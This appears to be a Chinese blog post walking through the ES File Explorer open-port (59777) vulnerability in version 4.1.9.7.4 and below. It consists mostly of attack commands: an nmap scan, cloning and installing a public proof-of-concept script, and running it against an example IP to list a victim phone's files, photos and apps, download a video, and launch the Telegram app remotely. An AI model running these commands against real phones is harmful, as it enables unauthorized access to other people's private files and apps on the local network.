ES文件管理器每次用户启动应用时都会启动http服务器,打开的本地端口为59777,直接访问会弹出权限被拒绝

请输入图片描述

漏洞影响范围

ES文件管理器版本号4.1.9.7.4或者更低

漏洞复现

直接nmap扫描手机指定端口

nmap 192.168.2.197 59777

POC功能

列出受害设备中sdcard中的所有文件
列出受害者设备中的所有图片
列出受害设备中的所有视频
列出受害设备中的所有音频文件
列出受害者设备中安装的所有应用
列出受害者设备中安装的所有系统应用程序
列出受害设备中安装的所有电话应用
列出受害设备的SD卡中存储的所有apk文件
列出受害者设备中安装的所有应用
获取受害设备的设备信息
从受害设备中提取文件
启动您选择的应用
获取您选择的应用程序的图标

下载poc脚本

git clone https://github.com/fs0c131y/ESFileExplorerOpenPortVuln
pip install -r requirements.txt

运行poc脚本

可用命令

listFiles:列出所有文件
listPics:列出所有的图片
listVideos:列出所有视频
listAudios:列出所有的音频文件
listApps:列出所有已安装的应用
listAppsSystem:列出所有系统应用
listAppsPhone:列出所有电话应用程序
listAppsSdcard:列出sdcard中所有的apk文件
listAppsAll :列出所有已安装的应用(包括系统应用)
getDeviceInfo:获取设备信息
appPull :从设备中提取应用,需要包名称参数
appLaunch:启动应用程序,需要包名称参数
getAppThumbnail:获取应用程序的图标,需要包名称参数

例子
列出所有的视频
listVideos可以替换成其他的

python poc.py --cmd listVideos --ip 192.168.2.197  

请输入图片描述
下载视频文件

python poc.py -g /storage/emulated/0/Movies/QQ视频_1cd62a269145db3b98ed136dd203422d1588267159.mp4 --ip 192.168.2.197

请输入图片描述
请输入图片描述

打开其他app

首先需要获取其他app的包名
被红色框圈起来的都是app包名

python poc.py --cmd listApps  --ip 192.168.2.197

请输入图片描述

启动app
org.telegram.mtt.messenger就是app的包名

python poc.py --cmd appLaunch --pkg org.telegram.mtt.messenger --ip 192.168.2.197

成功
请输入图片描述
获取应用程序的图标

python poc.py --cmd getAppThumbnail --pkg org.telegram.mtt.messenger --ip 192.168.2.197

请输入图片描述

最后修改:2020 年 10 月 06 日
如果觉得我的文章对你有用,请随意赞赏